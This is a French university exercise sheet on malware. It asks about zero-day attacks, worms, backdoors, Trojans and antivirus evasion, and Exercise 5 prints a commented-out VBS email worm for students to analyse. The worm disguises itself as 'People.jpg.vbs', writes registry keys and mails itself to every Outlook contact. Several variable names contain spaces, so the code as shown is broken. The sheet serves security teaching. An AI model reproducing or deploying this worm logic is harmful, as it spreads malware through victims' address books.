TD 3– Malware

Exercice 1 :

1. Les attaques nouvelles sur Internet et qu'elles n'ont pas encore été classées, sont appelées «attaques de jour zéro, zero-day attacks». Faire des recherches sur Internet sur les attaques de jour zéro. Qu'as-tu appris?
2. Quelle est la différence entre un virus et un ver ?
3. Dans quelle mesure les vers sont-ils plus dangereux que les virus ?
4. Certains vers qui se propagent sur Internet ne provoquent aucun dommage sur les machines atteintes. Pourquoi sont-ils cependant nuisibles ?
5. Pour désinfecter un ordinateur, il est recommandé de le redémarrer depuis un CD-ROM ou une clef USB; pourquoi ?

Exercice 2 :

1. Qu'est-ce qu'une porte dérobée (backdoor) ?
2. Comment un attaquant peut-il procéder pour en installer une ?
3. Qu'est-ce qu'un cheval de Troie ?
4. Comment un attaquant peut-il procéder pour en installer un ?

Exercice 3 :

Il arrive régulièrement que des codes malveillants réussissent à persister sur une machine sans être détectés par les antivirus installés par la victime de l'infection. Décrire deux techniques différentes qui permettent à un code malveillant de ne pas être détecté par les logiciels antivirus.

Exercice 4 :

Quelle(s) technique(s) utilise un antivirus pour détecter les programmes malveillants ?

Exercice 5 :

Analyser le code VBS ci-après en identifiant de manière générale ses différentes fonctions.

```
'Do not execute this code on your own computer!
'On Error Resume Next
'Set shell = CreateObject("WScript.Shell")
'shell.regwrite "HKCU\software\OnTheFly\", "made with Vbswg 1.50b"
'Set fileobject= Createobject("scripting.filesystemobject")
'fileobject.copyfile wscript.scriptfullname,fileobject.GetSpecialFolder(0)&
                                                        "\People.jpg.vbs"
'if shell.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
' infect()
'end if
'if month(now) =1 and day(now) =26 then
' shell.run "Http://www.dynabyte.nl",3,false
'end if
'Set myfile= fileobject.opentextfile(wscript.scriptfullname, 1)
'file content= myfile.readall
'myfile.Close
'Do
' If Not (fileobject.fileexists(wscript.scriptfullname)) Then
' Set new file= fileobject.createtextfile(wscript.scriptfullname, True)
```

```
' new file.write file content
' new file.Close
' End If
'Loop
'Function infect()
'On Error Resume Next
'Set my outlook = CreateObject("Outlook.Application")
'If my outlook= "Outlook"Then
' Set my mapi=my outlook.GetNameSpace("MAPI")
' Set my addrlists= my mapi.AddressLists
' For Each my list In my addrlists
' If my list.AddressEntries.Count <> 0 Then
' num addr = my list.AddressEntries.Count
' For i = 1 To num addr
' Set my msg = my outlook.CreateItem(0)
' Set my addr = my list.AddressEntries(i)
' my msg.To = my addr.Address
' my msg.Subject = "Here you have, ;o)"
' my msg.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
' set my attachement=my msg.Attachments
' my attachement.Add fileobject.GetSpecialFolder(0)& "\People.jpg.vbs"
' my msg.DeleteAfterSubmit = True
' If my msg.To <> "" Then
' my msg.Send
' shell.regwrite "HKCU\software\OnTheFly\mailed", "1"
' End If
' Next
' End If
' Next
'end if
'End Function
```

Exercice 6 :

1. En général, les produits antivirus des grandes marques sont tous capables de reconnaître l'ensemble des virus connus. Pour quelle raison une machine équipée d'un tel produit peut tout de même se faire infecter ?
2. S'ils reconnaissent tous les mêmes virus, quel peut être l'avantage d'utiliser des produits de différentes marques ?